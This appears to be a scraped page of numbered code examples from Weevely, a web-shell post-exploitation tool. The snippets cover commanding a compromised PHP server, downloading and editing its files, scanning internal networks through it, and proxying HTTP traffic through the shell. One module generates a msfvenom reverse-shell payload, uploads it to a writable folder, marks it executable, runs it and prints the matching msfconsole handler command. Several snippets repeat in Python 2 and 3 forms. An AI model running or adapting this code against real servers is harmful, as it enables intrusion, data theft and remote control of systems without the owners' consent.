            check_md5 = lambda r: bool(base64.b64decode(r))

        # Find the first vector that satisfy the md5 check
        vector_name, result = self.vectors.find_first_result(
         format_args = self.args,
         condition = check_md5
        )

        # Check if find_first_result failed
        if not vector_name:
            log.warn(messages.module_file_download.failed_download_file)
            return

        # Dump to local file
        lpath = self.args.get('lpath')

        try:
            result_decoded = base64.b64decode(result)
            open(lpath, 'wb').write(result_decoded)
        except Exception, e:
            log.warning(
              messages.generic.error_loading_file_s_s % (lpath, str(e)))
            return
Пример #41
0
    def run(self, format_args={}):
        """Run the module with the formatted payload.

        Render the contained payload with mako and pass the result
        as argument to the given module. The result is processed by the
        `self.postprocess` method.

        Args:
            format_arg (dict): The dictionary to format the payload with.

        Return:
            Object. Contains the postprocessed result of the `run_argv`
            module execution.

        """

        try:
            formatted = self.format(format_args)
        except TypeError as e:
            import traceback
            log.debug(traceback.format_exc())
            raise DevException(messages.vectors.wrong_arguments_type)

        # The background argument is set at vector init in order
        # to threadify vectors also if called by VectorList methods.
        if self.background:
            _thread.start_new_thread(modules.loaded[self.module].run_argv,
                                     (formatted, ))
            result = None
        else:
            result = modules.loaded[self.module].run_argv(formatted)

        if self.postprocess:
            result = self.postprocess(result)

        return result
Пример #42
0
    def setup(self, args={}):
        """Instauration of the PHP channel. Returns the module status."""

        self._instantiate_channel()

        rand = str(random.randint(11111, 99999))

        command = 'echo(%s);' % rand
        response, code = self.channel.send(command)

        if rand == response:
            status = Status.RUN
            self.session['channel'] = self.channel.channel_name
        else:
            status = Status.FAIL

        # If the response is wrong, warn about the
        # error code
        self._print_response_status(command, code, response)

        log.debug('PHP shell is %s' %
                  ('running' if status == Status.RUN else 'failed'))

        return status
    def run(self, args):
        """ Run module """

        self._instantiate_channel()

        cwd = self._get_stored_result('cwd', module = 'file_cd', default = '.')
        chdir = '' if cwd == '.' else "chdir('%s');" % cwd

        # Compose command with cwd, pre_command, and post_command option.
        args.update({ 'chdir' : chdir })
        command = Template("""${chdir}${prefix_string}${ ' '.join(command) }${postfix_string}""").render(**args)

        log.debug('PAYLOAD %s' % command)

        # Send command
        response, code = self.channel.send(command)

        # If the response is empty, warn about the error code
        self._print_response_status(command, code, response)

        # Strip last newline if present
        return response[:-1] if (
            response and response.endswith('\n')
            ) else response
Пример #44
0
    def do_GET(self):

        if self.path == 'http://weevely/':
            self.send_cacert()
            return

        req = self
        content_length = int(req.headers.get('Content-Length', 0))
        req_body = self.rfile.read(content_length) if content_length else ''

        if req.path[0] == '/':
            if isinstance(self.connection, ssl.SSLSocket):
                req.path = "https://%s%s" % (req.headers['Host'], req.path)
            else:
                req.path = "http://%s%s" % (req.headers['Host'], req.path)

        req.headers['Content-length'] = str(len(req_body))

        u = urllib.parse.urlsplit(req.path)
        scheme, netloc, path = u.scheme, u.netloc, (u.path + '?' + u.query
                                                    if u.query else u.path)
        assert scheme in ('http', 'https')
        if netloc:
            req.headers['Host'] = netloc
        setattr(req, 'headers', self.filter_headers(req.headers))

        net_curl_args = ['-X', self.command, '-i']

        net_curl_args.append(self.path)

        for h in req.headers:

            if h.title().lower() == 'host':
                host = self.headers[h]
            else:
                net_curl_args += [
                    '-H', '%s: %s' % (h.title(), self.headers[h])
                ]

        if self.command == 'POST':
            content_len = int(self.headers.get('content-length', 0))
            net_curl_args += ['-d', req_body]

        lock.acquire()
        try:
            result, headers, saved = ModuleExec('net_curl',
                                                net_curl_args).run()
        finally:
            lock.release()

        if not headers:
            log.debug('Error no headers')
            self.send_error(502)
            return

        log.debug('> ' + '\r\n> '.join(
            ['%s: %s' % (h.title(), self.headers[h]) for h in self.headers]))
        log.debug(
            '< ' +
            '\r\n< '.join([h.decode('utf-8', 'replace') for h in headers]))

        http_response_str = b'\r\n'.join(headers) + b'\r\n\r\n' + result
        source = FakeSocket(http_response_str)
        res = HTTPResponse(source)
        res.begin()

        version_table = {10: 'HTTP/1.0', 11: 'HTTP/1.1'}
        setattr(res, 'headers', res.msg)
        setattr(res, 'response_version', version_table[res.version])

        # support streaming
        if not 'Content-Length' in res.headers and 'no-store' in res.headers.get(
                'Cache-Control', ''):
            setattr(res, 'headers', self.filter_headers(res.headers))
            self.relay_streaming(res)
            return

        try:
            res_body = res.read()
        except Exception as e:
            log.debug(e)
            self.send_error(500)
            return

        setattr(res, 'headers', self.filter_headers(res.headers))

        respstring = "%s %d %s\r\n" % (self.protocol_version, res.status,
                                       res.reason)
        self.wfile.write(respstring.encode('utf-8'))
        self.wfile.write(res.headers.as_bytes())
        self.wfile.write(res_body)
        self.wfile.flush()
Пример #45
0
    def find_first_result(self,
                          names=[],
                          format_args={},
                          condition=None,
                          store_result=False,
                          store_name=''):
        """ Execute all the vectors and return the first result matching the given condition.

        Return the name and the result of the first vector execution response that satisfy
        the given condition.

        With unspecified names, execute all the vectors. Optionally store results.

        Exceptions triggered checking condition function are catched and logged.

        Args:
            names (list of str): The list of names of vectors to execute.

            format_args (dict): The arguments dictionary used to format the vectors with.

            condition (function): The function or lambda to check certain conditions on result.
            Must returns boolean.

            store_result (bool): Store as result.

            store_name (str): Store the found vector name in the specified argument.

        Returns:
            Tuple. Contains the vector name and execution result in the
            `( vector_name, result )` form.

        """

        if not callable(condition):
            raise DevException(messages.vectors.wrong_condition_type)
        if not isinstance(store_name, str):
            raise DevException(messages.vectors.wrong_store_name_type)

        for vector in self:

            # Skip with wrong vectors
            if not self._os_match(vector.target): continue

            # Clean names filter from empty objects
            names = [n for n in names if n]

            # Skip if names filter is passed but current vector is missing
            if names and not any(n in vector.name for n in names): continue

            # Add current vector name
            format_args['current_vector'] = vector.name

            # Run
            result = vector.run(format_args)

            # See if condition is verified
            try:
                condition_result = condition(result)
            except Exception as e:
                import traceback
                log.info(traceback.format_exc())
                log.debug(messages.vectorlist.vector_s_triggers_an_exc %
                          vector.name)

                condition_result = False

            # Eventually store result or vector name
            if condition_result:
                if store_result:
                    self.session[self.module_name]['results'][
                        vector.name] = result
                if store_name:
                    self.session[self.module_name]['stored_args'][
                        store_name] = vector.name

                return vector.name, result

        return None, None
Пример #46
0
    def run(self):

        # Get a temporary file name
        suffix = re.sub('[\W]+', '_', self.args['rpath'])
        temp_file = tempfile.NamedTemporaryFile(suffix = suffix)
        lpath = temp_file.name

        # Keep track of the old timestamp if requested
        if self.args['keep_ts']:
            timestamp = ModuleExec(
                        'file_check',
                        [ self.args.get('rpath'), 'time' ]
                    ).run()

        # If remote file already exists and readable
        if ModuleExec(
                    'file_check',
                    [ self.args.get('rpath'), 'readable' ]
                ).run():

            # Download file
            result_download = ModuleExec(
                        'file_download',
                        [ self.args.get('rpath'), lpath ]
                    ).run()

            # Exit with no result
            # The error should already been printed by file_download exec
            if result_download == None: return

            # Store original md5
            md5_orig = hashlib.md5(open(lpath, 'rb').read()).hexdigest()

            # Run editor
            subprocess.check_call( [ self.args['editor'], lpath ])

            # With no changes, just return
            if md5_orig == hashlib.md5(open(lpath, 'rb').read()).hexdigest():
                log.debug(messages.module_file_edit.unmodified_file)
                temp_file.close()
                return

        else:
            subprocess.check_call( [ self.args['editor'], lpath ])

        # Upload file
        result_upload = ModuleExec(
                    'file_upload',
                    [ '-force', lpath, self.args.get('rpath') ]
                ).run()


        # Reset original timestamp if requested
        if self.args['keep_ts']:
            ModuleExec(
                'file_touch',
                [ self.args.get('rpath'), '-epoch-ts', str(timestamp) ]
            ).run()

        # Delete temp file
        temp_file.close()

        return result_upload
from core import modules
from core import messages
from core import config
import sys
import pprint

if __name__ == '__main__':

    try:
        if len(sys.argv) == 3 and sys.argv[1].startswith('http'):
            session = SessionURL(
                url = sys.argv[1],
                password = sys.argv[2])
        elif len(sys.argv) == 2:
            session = SessionFile(sys.argv[1])
        else:
            log.info(__doc__)
            raise FatalException(messages.generic.error_missing_arguments)

        log.debug(
            pprint.pformat(session)
        )

        modules.load_modules(session)
        Terminal(session).cmdloop()

    except (KeyboardInterrupt, EOFError):
        log.info('Exiting.')
    except FatalException as e:
        log.critical('Exiting: %s' % e)
Пример #48
0
    def run(self):

        ## Address handling

        # Explode every single IP or network starting from
        # format IP1,IP2-IP3,IP/MASK,..
        IPs = []
        for ip_or_network in self.args['addresses'].split(','):

            if ip_or_network.count('-') == 1:
                # If there is a dash, explode
                IPs += list(utils.iputil.ip_range(ip_or_network))
            elif ip_or_network.count('/') == 1:
                # If there is a /, too
                IPs += [
                    str(utils.ipaddr.IPAddress(ip))
                    for ip in utils.ipaddr.IPNetwork(ip_or_network)
                ]
            else:
                IPs.append(ip_or_network)

        ## Port handling
        prts = utils.iputil.port_range(self.args['ports'])

        results_string = ''

        for ips_chunk in list(
                utils.strings.chunks(IPs, self.args['addresses_per_request'])):
            for prts_chunk in list(
                    utils.strings.chunks(prts,
                                         self.args['ports_per_request'])):

                results_string += self.vectors.get_result(
                    name='fsockopen',
                    format_args={
                        'ips': ips_chunk,
                        'prts': prts_chunk,
                        'timeout': self.args['timeout']
                    })

                log.warn('Scanning addresses %s-%s:%i-%i' %
                         (ips_chunk[0], ips_chunk[-1], prts_chunk[0],
                          prts_chunk[-1]))

        # Crappy output handling

        result = []
        for result_string in results_string.split('\n'):

            addr_string_splitted = result_string.split(' ')

            if addr_string_splitted[0] == 'OPN':
                address = addr_string_splitted[1]
                error = 'OPEN'
            elif addr_string_splitted[0] == 'ERR':
                address = addr_string_splitted[1]
                error = '%s (%s)' % (' '.join(
                    addr_string_splitted[2:-1]), addr_string_splitted[-1])
            else:
                log.debug(messages.module_net_scan.unexpected_response)
                continue

            if self.args.get('print'):
                result.append((address, error))
            elif error == 'OPEN':
                result.append(address)

        return result
    def find_first_result(self, names = [], format_args = {}, condition = None, store_result = False, store_name = ''):
        """ Execute all the vectors and return the first result matching the given condition.

        Return the name and the result of the first vector execution response that satisfy
        the given condition.

        With unspecified names, execute all the vectors. Optionally store results.

        Exceptions triggered checking condition function are catched and logged.

        Args:
            names (list of str): The list of names of vectors to execute.

            format_args (dict): The arguments dictionary used to format the vectors with.

            condition (function): The function or lambda to check certain conditions on result.
            Must returns boolean.

            store_result (bool): Store as result.

            store_name (str): Store the found vector name in the specified argument.

        Returns:
            Tuple. Contains the vector name and execution result in the
            `( vector_name, result )` form.

        """

        if not callable(condition):
            raise DevException(messages.vectors.wrong_condition_type)
        if not isinstance(store_name, str):
            raise DevException(messages.vectors.wrong_store_name_type)

        for vector in self:

            # Skip with wrong vectors
            if not self._os_match(vector.target): continue

            # Clean names filter from empty objects
            names = [ n for n in names if n ]

            # Skip if names filter is passed but current vector is missing
            if names and not any(n in vector.name for n in names): continue

            # Add current vector name
            format_args['current_vector'] = vector.name

            # Run
            result = vector.run(format_args)

            # See if condition is verified
            try:
                condition_result = condition(result)
            except Exception as e:
                import traceback; log.info(traceback.format_exc())
                log.debug(messages.vectorlist.vector_s_triggers_an_exc % vector.name)

                condition_result = False

            # Eventually store result or vector name
            if condition_result:
                if store_result:
                    self.session[self.module_name]['results'][vector.name] = result
                if store_name:
                    self.session[self.module_name]['stored_args'][store_name] = vector.name

                return vector.name, result

        return None, None
Пример #50
0
    def run_argv(self, argv):
        """Execute the module.

        Get arguments list as argument. The arguments are parsed with getopt,
        and validated. Then calls setup() and run() of module.

        Normally does not need to be overridden.

        Args:
            argv (list of str): The list of arguments.

        Returns:
            Object. The result of the module execution.

        """

        # Merge stored arguments with line arguments
        stored_args = self.session[self.name]['stored_args']
        self.args = {}

        try:
            user_args = self.argparser.parse_args(argv)
        except SystemExit:
            raise ArgparseError()

        # The new arg must win over the stored one if:
        # new arg is not none and the value of the old one 
        # is not just the default value
        
        for newarg_key, newarg_value in user_args.__dict__.items():
                        
            # Pick the default argument of the current arg
            default_value = next((action.default for action in self.argparser._actions if action.dest == newarg_key), None)
            stored_value = stored_args.get(newarg_key)
                        
            if newarg_value != None and newarg_value != default_value:
                self.args[newarg_key] = newarg_value
            elif stored_value != None:
                self.args[newarg_key] = stored_value
            else:
                self.args[newarg_key] = default_value

        # If module status is IDLE, launch setup()
        if self.session[self.name]['status'] == Status.IDLE:
            self.session[self.name]['status'] = self.setup()

            # If setup still not set the status to RUN, return
            if self.session[self.name]['status'] != Status.RUN:
                return

        # If module status is FAIL, return
        if self.session[self.name]['status'] == Status.FAIL:
            log.debug(messages.module.module_s_inactive % self.name)
            return

        # Setup() could has been stored additional args, so all the updated
        # stored arguments are applied to args
        stored_args = self.session[self.name]['stored_args']
        for stored_arg_key, stored_arg_value in stored_args.items():
            if stored_arg_key != None and stored_arg_value != self.args.get(stored_arg_key):
                self.args[stored_arg_key] = stored_arg_value


        return self.run()
Пример #51
0
def minify_php(original_code):

    php_binary = spawn.find_executable('php')
    if not php_binary:
        log.debug(messages.utils_code.minify_php_missing_binary)
        return None

    try:
        output = subprocess.check_output([
            php_binary,
            '-r',
            """function is_label($str) {
return preg_match('~[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*+~',$str);
}

function get_tiny($snippet,
$remove_whitespace=TRUE,
$remove_comments=TRUE) {

//generate tokens from snippet
$tokens = token_get_all($snippet);

//replace all variables, remove whitespace, remove comments
$new_source = '';
foreach ($tokens as $i => $token) {
  if(!is_array($token)) {
    $new_source .= $token;
    continue;
  }
  if($remove_comments) {
      if(in_array($token[0],array(T_COMMENT,T_DOC_COMMENT))) {
        continue;
      }
    }
  if ($token[0] == T_WHITESPACE && $remove_whitespace) {
    if (isset($tokens[$i-1]) && isset($tokens[$i+1]) && is_array($tokens[$i-1]) && is_array($tokens[$i+1]) && is_label($tokens[$i-1][1]) && is_label($tokens[$i+1][1])) {
      $new_source .= ' ';
    }
  } elseif($token[0]==T_CASE) {
    $new_source .= $token[1].' ';
  } else {
    $new_source .= $token[1];
  }
}
return $new_source;
}

$d=<<<'EOD'
%s
EOD;

print(get_tiny($d));
""" % ('<?php %s ?>' % str(original_code)),
        ])

    except Exception as e:
        import traceback
        log.debug(traceback.format_exc())
        log.debug(messages.utils_code.minify_php_error_minifying)
        return None

    if len(output) < 8:
        return None

    return output[6:-2]
Пример #52
0
    def do_GET(self):
        
        if self.path == 'http://weevely/':
            self.send_cacert()
            return

        req = self
        content_length = int(req.headers.get('Content-Length', 0))
        req_body = self.rfile.read(content_length) if content_length else ''

        if req.path[0] == '/':
            if isinstance(self.connection, ssl.SSLSocket):
                req.path = "https://%s%s" % (req.headers['Host'], req.path)
            else:
                req.path = "http://%s%s" % (req.headers['Host'], req.path)

        req.headers['Content-length'] = str(len(req_body))

        u = urlparse.urlsplit(req.path)
        scheme, netloc, path = u.scheme, u.netloc, (u.path + '?' + u.query if u.query else u.path)
        assert scheme in ('http', 'https')
        if netloc:
            req.headers['Host'] = netloc
        setattr(req, 'headers', self.filter_headers(req.headers))
        
        net_curl_args = [
            '-X',
            self.command,
            '-i'
        ]

        net_curl_args.append(self.path)
        
        for h in req.headers:
                
            if h.title().lower() == 'host':
                host = self.headers[h]
                
            net_curl_args += [ '-H', '%s: %s' % ( h.title(), self.headers[h] ) ]

        if self.command == 'POST':
            content_len = int(self.headers.getheader('content-length', 0))
            net_curl_args += [ '-d', req_body ]

        lock.acquire()
        try:
            result, headers, saved = ModuleExec(
                'net_curl',
                net_curl_args
            ).run()
        finally:
            lock.release()
            
        
        if not headers:
            log.debug('Error no headers')
            self.send_error(502)
            return
            
        log.debug('> ' + '\r\n> '.join([ '%s: %s' % (h.title(), self.headers[h]) for h in self.headers ]))
        log.debug('< ' + '\r\n< '.join(headers))

        http_response_str = '\r\n'.join(headers) + '\r\n\r\n' + result
        source = FakeSocket(http_response_str)
        res = HTTPResponse(source)
        res.begin()

        version_table = {10: 'HTTP/1.0', 11: 'HTTP/1.1'}
        setattr(res, 'headers', res.msg)
        setattr(res, 'response_version', version_table[res.version])
                
        # support streaming
        if not 'Content-Length' in res.headers and 'no-store' in res.headers.get('Cache-Control', ''):
            setattr(res, 'headers', self.filter_headers(res.headers))
            self.relay_streaming(res)
            return

        try:
            res_body = res.read()
        except Exception as e:
            log.debug(e)
            self.send_error(500)
            return

        setattr(res, 'headers', self.filter_headers(res.headers))

        self.wfile.write("%s %d %s\r\n" % (self.protocol_version, res.status, res.reason))
        for line in res.headers.headers:
            self.wfile.write(line)
        self.end_headers()
        self.wfile.write(res_body)
        self.wfile.flush()
 def log_message(self, format, *args):
     log.debug("%s - - [%s] %s\n" %
               (self.client_address[0], self.log_date_time_string(),
                format % self.args))
Пример #54
0
    def run(self):

        ## Address handling

        # Explode every single IP or network starting from
        # format IP1,IP2-IP3,IP/MASK,..
        IPs = []
        for ip_or_network in self.args['addresses'].split(','):

            if ip_or_network.count('-') == 1:
                # If there is a dash, explode
                IPs += list(
                    utils.iputil.ip_range(ip_or_network)
                )
            elif ip_or_network.count('/') == 1:
                # If there is a /, too
                IPs += [
                    str(utils.ipaddr.IPAddress(ip)) for ip in
                    utils.ipaddr.IPNetwork(ip_or_network)
                ]
            else:
                IPs.append(ip_or_network)

        ## Port handling
        prts = utils.iputil.port_range(self.args['ports'])

        results_string = ''

        for ips_chunk in list(utils.strings.chunks(IPs, self.args['addresses_per_request'])):
            for prts_chunk in list(utils.strings.chunks(prts, self.args['ports_per_request'])):

                results_string += self.vectors.get_result(
                    name = 'fsockopen',
                    format_args = {
                                    'ips' : ips_chunk,
                                    'prts' : prts_chunk,
                                    'timeout' : self.args['timeout'] }
                )

                log.warn('Scanning addresses %s-%s:%i-%i' % (
                            ips_chunk[0], ips_chunk[-1],
                            prts_chunk[0], prts_chunk[-1]
                        )
                )

        # Crappy output handling
        
        result = []
        for result_string in results_string.split('\n'):

            addr_string_splitted = result_string.split(' ')

            if addr_string_splitted[0] == 'OPN':
                address = addr_string_splitted[1]
                error = 'OPEN'
            elif addr_string_splitted[0] == 'ERR':
                address = addr_string_splitted[1]
                error = '%s (%s)' % (
                            ' '.join(addr_string_splitted[2:-1]),
                            addr_string_splitted[-1]
                        )
            else:
                log.debug(
                    messages.module_net_scan.unexpected_response
                )
                continue

            if self.args.get('print'):
                result.append((address, error))
            elif error == 'OPEN':
                result.append(address)

        return result
    def run(self):

        # Check msfvenom existance
        msvenom_path = spawn.find_executable(self.args['msfvenom_path'])

        if not msvenom_path:
            log.error(
                messages.module_backdoor_metasploit.msfvenom_s_not_found %
                self.args['msfvenom_path'])
            return

        # Set options according to the payload type
        options = []
        if 'reverse' in self.args['payload']:

            lhost = self.args.get('lhost')
            if not lhost:
                log.error(messages.module_backdoor_metasploit.
                          error_payload_s_requires_lhost %
                          self.args['payload'])
                return
            else:
                options += [('LHOST', lhost)]

        else:
            options += [('RHOST', host)]

        options += [('PORT', self.args.get('port'))]

        log.warn(messages.module_backdoor_metasploit.make_sure_run_msfconsole)
        log.info(
            'msfconsole -x "use exploit/multi/handler; set PAYLOAD %s; %s run"'
            % (self.args['payload'], ' '.join(
                ["set %s %s;" % (f, v) for f, v in options])))

        # Get temporary file name
        local_file = tempfile.NamedTemporaryFile()
        local_path = local_file.name

        # Build argument list for msfvenom
        arguments_list = [
            msvenom_path, '-p', self.args['payload'], '-o', local_path
        ] + ['%s=%s' % (v, f) for v, f in options]

        # Add executable format to the argument list
        if self.args['payload'].startswith('linux/'):
            arguments_list += ['-f', 'elf']
        elif self.args['payload'].startswith('windows/'):
            arguments_list += ['-f', 'exe']

        log.debug(' '.join(arguments_list))

        # Generate meterpreter PHP code
        agent = ''
        status = 0
        try:
            subprocess.check_call(arguments_list,
                                  stderr=open('/dev/null', 'w'))
            agent = open(local_path, 'r').read()
        except subprocess.CalledProcessError as e:
            status = e.returncode
        except Exception as e:
            log.debug(str(e))
            status = -1

        if status or not agent:
            log.error(
                messages.module_backdoor_metasploit.error_generating_payload)
            return

        if self.args['payload'].startswith('php/'):
            # If PHP payload, just run it

            PhpCode(agent, background=True).run()
        else:

            if self.session['shell_sh']['status'] != Status.RUN:
                log.error(messages.module_backdoor_metasploit.
                          error_payload_s_requires_shell_use_php %
                          self.args['payload'])
                return

            # Else: upload, execute, remove

            folders = ModuleExec(
                "file_find",
                ['-writable', '-quit', '-ftype', 'd', self.args['rpath']
                 ]).run()

            if not folders or not folders[0]:
                log.error(messages.module_backdoor_metasploit.
                          error_searching_writable_folder_under_s %
                          (self.args['rpath']))
                return

            local_filename = os.path.basename(local_path)

            remote_path = os.path.join(folders[0], local_filename)

            ModuleExec("file_upload", [local_path, remote_path]).run()

            # Let the uploaded file executable
            ShellCmd("chmod +x %s" % (remote_path)).run()

            # Execute the payload in background
            ShellCmd(remote_path, background=True).run()

            ModuleExec("file_rm", [self.args['rpath']]).run()
Пример #56
0
    def run_argv(self, argv):
        """Execute the module.

        Get arguments list as argument. The arguments are parsed with getopt,
        and validated. Then calls setup() and run() of module.

        Normally does not need to be overridden.

        Args:
            argv (list of str): The list of arguments.

        Returns:
            Object. The result of the module execution.

        """

        # Merge stored arguments with line arguments
        stored_args = self.session[self.name]['stored_args']
        self.args = {}

        try:
            user_args = self.argparser.parse_args(argv)
        except SystemExit:
            raise ArgparseError()

        # The new arg must win over the stored one if:
        # new arg is not none and the value of the old one
        # is not just the default value

        for newarg_key, newarg_value in user_args.__dict__.items():

            # Pick the default argument of the current arg
            default_value = next((action.default
                                  for action in self.argparser._actions
                                  if action.dest == newarg_key), None)
            stored_value = stored_args.get(newarg_key)

            if newarg_value != None and newarg_value != default_value:
                self.args[newarg_key] = newarg_value
            elif stored_value != None:
                self.args[newarg_key] = stored_value
            else:
                self.args[newarg_key] = default_value

        # If module status is IDLE, launch setup()
        if self.session[self.name]['status'] == Status.IDLE:
            self.session[self.name]['status'] = self.setup()

            # If setup still not set the status to RUN, return
            if self.session[self.name]['status'] != Status.RUN:
                return

        # If module status is FAIL, return
        if self.session[self.name]['status'] == Status.FAIL:
            log.debug(messages.module.module_s_inactive % self.name)
            return

        # Setup() could has been stored additional args, so all the updated
        # stored arguments are applied to args
        stored_args = self.session[self.name]['stored_args']
        for stored_arg_key, stored_arg_value in stored_args.items():
            if stored_arg_key != None and stored_arg_value != self.args.get(
                    stored_arg_key):
                self.args[stored_arg_key] = stored_arg_value

        return self.run()
Пример #57
0
def minify_php(original_code):

    php_binary = spawn.find_executable('php')
    if not php_binary:
        log.debug(messages.utils_code.minify_php_missing_binary)
        return None

    try:
        output = subprocess.check_output(
            [
            php_binary, '-r', """function is_label($str) {
return preg_match('~[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*+~',$str);
}

function get_tiny($snippet,
$remove_whitespace=TRUE,
$remove_comments=TRUE) {

//generate tokens from snippet
$tokens = token_get_all($snippet);

//replace all variables, remove whitespace, remove comments
$new_source = '';
foreach ($tokens as $i => $token) {
  if(!is_array($token)) {
    $new_source .= $token;
    continue;
  }
  if($remove_comments) {
      if(in_array($token[0],array(T_COMMENT,T_DOC_COMMENT))) {
        continue;
      }
    }
  if ($token[0] == T_WHITESPACE && $remove_whitespace) {
    if (isset($tokens[$i-1]) && isset($tokens[$i+1]) && is_array($tokens[$i-1]) && is_array($tokens[$i+1]) && is_label($tokens[$i-1][1]) && is_label($tokens[$i+1][1])) {
      $new_source .= ' ';
    }
  } elseif($token[0]==T_CASE) {
    $new_source .= $token[1].' ';
  } else {
    $new_source .= $token[1];
  }
}
return $new_source;
}

$d=<<<'EOD'
%s
EOD;

print(get_tiny($d));
""" % ('<?php %s ?>' % str(original_code)),
        ])

    except Exception as e:
        import traceback; log.debug(traceback.format_exc())
        log.debug(messages.utils_code.minify_php_error_minifying)
        return None

    if len(output) < 8:
        return None

    return output[6:-2]
Пример #58
0
from core.terminal import Terminal
from core.weexceptions import FatalException
from core.loggers import log
from core.sessions import SessionURL, SessionFile
from core import modules
from core import messages
from core import config
import sys
import pprint

if __name__ == '__main__':

    try:
        if len(sys.argv) == 3 and sys.argv[1].startswith('http'):
            session = SessionURL(url=sys.argv[1], password=sys.argv[2])
        elif len(sys.argv) == 2:
            session = SessionFile(sys.argv[1])
        else:
            log.info(__doc__)
            raise FatalException(messages.generic.error_missing_arguments)

        log.debug(pprint.pformat(session))

        modules.load_modules(session)
        Terminal(session).cmdloop()

    except (KeyboardInterrupt, EOFError):
        log.info('Exiting.')
    except FatalException as e:
        log.critical('Exiting: %s' % e)
Пример #59
0
    def run(self):

        # Check msfvenom existance
        msvenom_path = spawn.find_executable(
                    self.args['msfvenom_path']
                )

        if not msvenom_path:
            log.error(
                messages.module_backdoor_metasploit.msfvenom_s_not_found % self.args['msfvenom_path']
            )
            return
    
        # Set options according to the payload type
        options = []
        if 'reverse' in self.args['payload']:
            
            lhost = self.args.get('lhost')
            if not lhost:
                log.error(
                    messages.module_backdoor_metasploit.error_payload_s_requires_lhost % self.args['payload']
                    )
                return
            else:
                options += [ ( 'LHOST', lhost ) ]
                
        else:
            options += [ ( 'RHOST', host ) ]
                
        options += [ ( 'PORT', self.args.get('port') ) ]

        log.warn(messages.module_backdoor_metasploit.make_sure_run_msfconsole)
        log.info(
            'msfconsole -x "use exploit/multi/handler; set PAYLOAD %s; %s run"' % (
                self.args['payload'],
                ' '.join([ "set %s %s;" % (f, v) for f, v in options ])
            )    
        )

        # Get temporary file name
        local_file = tempfile.NamedTemporaryFile()
        local_path = local_file.name
    
        # Build argument list for msfvenom
        arguments_list = [ 
            msvenom_path, 
            '-p', self.args['payload'],
            '-o', local_path 
        ] + [ '%s=%s' % (v, f) for v,f in options ]
        
        # Add executable format to the argument list
        if self.args['payload'].startswith('linux/'):
            arguments_list += [ '-f', 'elf' ]
        elif self.args['payload'].startswith('windows/'):
            arguments_list += [ '-f', 'exe' ]
            
        log.debug(' '.join(arguments_list))
    
        # Generate meterpreter PHP code
        agent = ''
        status = 0
        try:
            subprocess.check_call(
                arguments_list,
                stderr=open('/dev/null', 'w')
            )
            agent = open(local_path, 'r').read()
        except subprocess.CalledProcessError as e:
            status = e.returncode
        except Exception as e:
            log.debug(str(e))
            status = -1

        if status or not agent:
            log.error(
                messages.module_backdoor_metasploit.error_generating_payload
            )
            return
        
        if self.args['payload'].startswith('php/'):
            # If PHP payload, just run it
            
            PhpCode(agent, background = True).run()
        else:
            
            if self.session['shell_sh']['status'] != Status.RUN:
                log.error(
                    messages.module_backdoor_metasploit.error_payload_s_requires_shell_use_php % self.args['payload']
                )
                return
            
            # Else: upload, execute, remove
            
            folders = ModuleExec(
                "file_find", 
                [ 
                    '-writable', 
                    '-quit', 
                    '-ftype', 'd', 
                    self.args['rpath']
                ]
            ).run()

            if not folders or not folders[0]:
                log.error(messages.module_backdoor_metasploit.error_searching_writable_folder_under_s % (self.args['rpath']))
                return 
            
            local_filename = os.path.basename(local_path)
            
            remote_path = os.path.join(folders[0], local_filename)
            
            ModuleExec(
                "file_upload", 
                [ 
                    local_path,
                    remote_path
                ]
            ).run()
            
            # Let the uploaded file executable
            ShellCmd("chmod +x %s" % (remote_path)).run()
            
            # Execute the payload in background
            ShellCmd(remote_path, background = True).run()
            
            ModuleExec(
                "file_rm", 
                [ 
                    self.args['rpath']
                ]
            ).run()